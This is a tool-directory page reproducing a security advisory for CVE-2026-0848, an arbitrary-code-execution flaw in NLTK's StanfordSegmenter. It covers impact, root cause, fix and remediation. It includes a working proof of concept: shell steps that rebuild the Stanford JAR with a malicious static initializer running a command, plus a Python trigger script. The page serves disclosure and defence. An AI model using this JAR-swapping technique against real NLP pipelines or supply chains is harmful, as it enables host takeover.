Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-0848 — nltk.tokenize.StanfordSegmenter dynamically loads external Java .jar files without verification or sandboxing. If an attacker can supply or replace the JAR (e.g., a poisoned model download, MITM package swap, or dependency poisoning), arbitrary Java bytecode executes at import time. | Kitploit
Tools/GitHubGitHub/hyperps/cve-2026-0848
Vulnerability AnalysisCode AnalysisExploitationSupply Chain SecurityPapers & ResearchLearning & Education
GitHubhyperps/cve-2026-0848

CVE-2026-0848

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

nltk.tokenize.StanfordSegmenter dynamically loads external Java .jar files without verification or sandboxing. If an attacker can supply or replace the JAR (e.g., a poisoned model download, MITM package swap, or dependency poisoning), arbitrary Java bytecode executes at import time.

Share

CVE-2026-0848 — NLTK StanfordSegmenter: Arbitrary Code Execution via Untrusted JAR Loading


Overview

FieldDetails
CVE IDCVE-2026-0848
Packagenltk (Natural Language Toolkit)
RegistryPyPI
Affected Versions<= 3.9.2
Vulnerability TypeCWE-20: Improper Input Validation
CVSS Score10.0 (Critical)
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeChanged
Confidentiality ImpactHigh
Integrity ImpactHigh
Availability ImpactHigh
Reported OnDecember 6, 2025
CVE PublishedMarch 2026
Supported ByPalo Alto Networks / Prisma AIRS

Description

nltk.tokenize.StanfordSegmenter dynamically loads external Java .jar files via subprocess without performing any integrity verification, signature checking, or sandboxing. The class accepts fully attacker-controlled parameters including path_to_jar, path_to_model, path_to_dict, and java_class, and passes them directly to a java -cp invocation.

If an attacker can supply or replace the JAR file — through a poisoned model download, a man-in-the-middle package swap, dependency poisoning, or a corrupted release mirror — arbitrary Java bytecode executes at class-load time via the JVM's static initializer mechanism. This constitutes a supply-chain Remote Code Execution vulnerability and fully escapes the Python runtime.


Affected Components


CVSS Vector

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Impact

Successful exploitation grants an attacker full control over the system running the NLTK segmentation process:

  • Arbitrary Java code execution — Any bytecode embedded in the malicious JAR runs with the privileges of the Python/Java process
  • Python runtime escape — Execution moves into the JVM, bypassing Python-level sandboxing entirely
  • OS-level command execution — Attackers can invoke Runtime.getRuntime().exec() or ProcessBuilder to run arbitrary shell commands
  • Data theft and modification — Access to all files, environment variables, API keys, and secrets readable by the process
  • Full environment compromise — In CI/CD, production NLP pipelines, or server environments, a single malicious JAR leads to complete host takeover

High-Risk Deployment Scenarios

ScenarioImpact

This vulnerability affects any NLP workflow using StanfordSegmenter, including chatbots, LLM preprocessing pipelines, dataset segmentation, document classification, and production inference services.


Proof of Concept

This information is provided for educational and defensive purposes only. Do not test against systems you do not own or have explicit authorization to test.

Step 1 — Replace Core Classifier with Malicious Java Class

root@kitploit:~
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

Step 2 — Build the Malicious JAR

root@kitploit:~
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

Step 3 — Trigger via NLTK

root@kitploit:~
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

Output:

root@kitploit:~
[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

Confirm RCE:

root@kitploit:~
ls /tmp | grep pwned_hijack
# pwned_hijack

Root Cause

The vulnerability exists across two files:

stanford_segmenter.py — The StanfordSegmenter class constructor accepts path_to_jar, path_to_model, path_to_dict, and java_class as plain string arguments and forwards them directly to the Java execution layer without performing any of the following:

  • Path allowlist or trusted-directory enforcement
  • SHA-256 or cryptographic signature verification of the JAR
  • Validation of the java_class parameter against a known-safe set of class names

internals.py — The java() helper constructs and launches a subprocess.Popen() call with the user-supplied classpath. The JVM immediately loads all classes in the provided JAR, executing any static initializer blocks before the application logic runs. There is no sandbox, no integrity gate, and no mechanism to prevent execution of injected bytecode.


Fix

The vulnerability has been fully resolved in the upstream NLTK repository.

ResourceLink
Central Security Fix (all CVEs)https://github.com/nltk/nltk/pull/3522
Researcher's initial fix PRhttps://github.com/nltk/nltk/pull/3477 (merged)

Upgrade to a patched version of NLTK as soon as it is available on PyPI.


Remediation

Upgrade via pip:

root@kitploit:~
pip install --upgrade nltk

Verify installed version:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

Timeline


References


Disclaimer

This repository documents CVE-2026-0848 strictly for educational, research, and defensive security purposes. The proof-of-concept code and technical details are provided to assist developers, security engineers, and system administrators in understanding, assessing, and remediating this vulnerability.

Any use of this information to access or compromise systems without explicit authorization is illegal and unethical. The author assumes no liability for misuse of the information contained herein.

Contributors: ketanHub

Download Tool
FileLinesDescription
nltk/tokenize/stanford_segmenter.pyL53–L118Accepts attacker-controlled path_to_jar, path_to_model, path_to_dict, and java_class with no validation
nltk/internals.pyL220–L300Launches Java execution directly with user-controlled JAR path and classpath, no sandboxing or checksum verification
nltk/internals.pyL109–L152subprocess.Popen() executes Java with unvalidated classpath input, allowing the JVM to load arbitrary bytecode and run static initializers
MetricValue
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeChanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh
ML researcher loads a pretrained segmenter from the internetRemote attacker gains code execution
Organization downloads a corrupted Chinese segmentation model ZIPMalware executes inside production NLP pipeline
CI/CD server installs model via wget/unzip from a non-HTTPS mirrorFull environment compromise
Dependency takeover or poisoned release mirrorComplete supply-chain RCE
ActionDetails
Upgrade NLTKUpdate to a version greater than 3.9.2 containing the fix from PR #3522
Do Not Use User-Controlled JAR PathsNever allow user input to influence path_to_jar, path_to_model, or java_class arguments
Verify JAR IntegrityAlways verify SHA-256 checksums of downloaded JAR files against official published hashes before use
Use HTTPS Sources OnlyDownload model files and JARs exclusively from official HTTPS sources; reject any HTTP or unverified mirror
Least PrivilegeRun NLTK-based services under a restricted OS user with minimal filesystem and network permissions
ContainerizationIsolate NLP services in Docker containers or similar sandboxes to limit the blast radius of JAR-based exploits
Dependency MonitoringUse a software composition analysis tool to detect tampered or replaced JAR dependencies in CI/CD pipelines
DateEvent
December 6, 2025Vulnerability reported to huntr.dev by researcher hyperps1 (Sarvesh Patil)
December 2025NLTK maintainer team notified via huntr.dev
January 2026NLTK maintainer validated the vulnerability; disclosure bounty awarded
January 2026CVE-2026-0848 assigned
January 2026Researcher's fix PR #3477 submitted and merged
February 202648-hour pre-publication warning sent to NLTK maintainers
March 2026CVE published on NVD and huntr.dev
March 2026Central security fix for all CVEs merged via PR #3522
ResourceLink
NVD Entryhttps://nvd.nist.gov/vuln/detail/CVE-2026-0848
Official CVE Recordhttps://cve.org/CVERecord?id=CVE-2026-0848
huntr.dev Reporthttps://huntr.dev
Central Fix PRhttps://github.com/nltk/nltk/pull/3522
Researcher Fix PRhttps://github.com/nltk/nltk/pull/3477
NLTK on PyPIhttps://pypi.org/project/nltk/
Stanford Word Segmenterhttps://nlp.stanford.edu/software/segmenter.html
OWASP — Arbitrary Code Executionhttps://owasp.org/www-community/attacks/Code_Injection
OWASP — Untrusted Search Pathhttps://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection
CWE-20: Improper Input Validationhttps://cwe.mitre.org/data/definitions/20.html
CWE-502: Deserialization of Untrusted Datahttps://cwe.mitre.org/data/definitions/502.html